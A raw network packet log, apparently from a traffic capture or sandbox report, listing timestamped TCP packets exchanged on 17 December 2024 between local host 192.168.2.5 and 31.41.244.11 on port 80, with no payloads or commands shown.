Dec 17, 2024 08:03:27.084543943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.084604025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.084652901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.088016987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.088068962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.088140965 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.088207960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.091453075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.091515064 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.091594934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.091649055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.094952106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.095019102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.095083952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.095145941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.098459959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.098527908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.098583937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.098635912 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.101949930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.102006912 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.102068901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.102134943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.105468035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.105525970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.105602026 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.105653048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.109142065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.109200954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.109261990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.109311104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.112560987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.112618923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.216032982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.216099977 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.216166019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.216217041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.217444897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.217506886 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.217562914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.217614889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.220240116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.220302105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.220357895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.220406055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.223023891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.223081112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.223150969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.223210096 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.225847960 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.225909948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.225936890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.225986958 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.228524923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.228579044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.228646994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.228751898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.231177092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.231235027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.231292963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.231340885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.233783007 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.233848095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.233901978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.233951092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.236356020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.236419916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.236526012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.236584902 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.238789082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.238837957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.238905907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.238949060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.241300106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.241350889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.241389990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.241434097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.243850946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.243904114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.244029999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.244079113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.246321917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.246373892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.246406078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.246449947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.248804092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.248868942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.249007940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.249059916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.251363039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.251415014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.251445055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.251502991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.253840923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.253895998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.253922939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.253968000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.256324053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.256371975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.256438971 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.256485939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.258833885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.258889914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.258939981 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.258985996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.261353016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.261404037 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.261464119 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.261507034 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.263855934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.263909101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.263983011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.264034033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.266411066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.266475916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.266544104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.266596079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.268886089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.268964052 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.269016981 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.269073009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.271406889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.271497965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.271553993 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.271605968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.273880005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.273952007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.274012089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.274063110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.276444912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.276504993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.276556015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.276611090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.278913021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.278989077 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.279057980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.279118061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.281425953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.281486988 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.281541109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.281590939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.283946037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.284015894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.284069061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.284120083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.286444902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.286511898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.286547899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.286602020 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.288950920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.289011955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.289064884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.289118052 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.291472912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.291531086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.291634083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.291686058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.293976068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.294033051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.294117928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.294173002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.296499968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.296561003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.296612024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.296663046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.298990011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.299050093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.299118042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.299175024 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.301512957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.301588058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.301641941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.301717043 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.304034948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.304112911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.304173946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.304229975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.306528091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.306585073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.306641102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.306698084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.308970928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.309029102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.408261061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.408348083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.408366919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.408406973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.409284115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.409328938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.409363031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.409408092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.411361933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.411407948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.411465883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.411509037 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.413461924 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.413506985 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.413562059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.413605928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.415488958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.415535927 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.415601015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.415643930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.417608023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.417675018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.417730093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.417783022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.419622898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.419676065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.419751883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.419809103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.421590090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.421649933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.421818972 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.421873093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.423547029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.423603058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.423672915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.423731089 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.425509930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.425569057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.425625086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.425674915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.427385092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.427436113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.427493095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.427541971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.429256916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.429322958 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.429377079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.429426908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.431107044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.431164026 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.431241989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.431296110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.432943106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.432997942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.433069944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.433124065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.434771061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.434832096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.434845924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.434875965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.436608076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.436666012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.436728001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.436779022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.438424110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.438482046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.438555002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.438607931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.440289974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.440347910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.440402031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.440449953 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.442111015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.442167997 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.442239046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.442292929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.443947077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.443995953 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.444020033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.444068909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.445771933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.445826054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.445879936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.445929050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.447607994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.447666883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.447721958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.447777987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.449445963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.449500084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.449570894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.449625015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.451288939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.451345921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.451401949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.451451063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.453178883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.453231096 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.453253031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.453305006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.455080986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.455140114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.455194950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.455245018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.456789017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.456842899 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.456912041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.456963062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.458610058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.458664894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.458751917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.458805084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.460457087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.460510969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.460568905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.460616112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.462285042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.462342024 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.462393999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.462460041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.464133024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.464189053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.464257956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.464308977 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.465960979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.466017008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.466078043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.466125965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.467792034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.467844009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.467899084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.467962027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.469656944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.469717026 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.469772100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.469819069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.471574068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.471621990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.471647024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.471695900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.473315001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.473375082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.473433018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.473481894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.475171089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.475224972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.475292921 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.475348949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.477027893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.477077007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.477102041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.477149963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.478811979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.478871107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.478943110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.478990078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.480660915 CET	80	49867	31.41.244.11	192.168.2.5
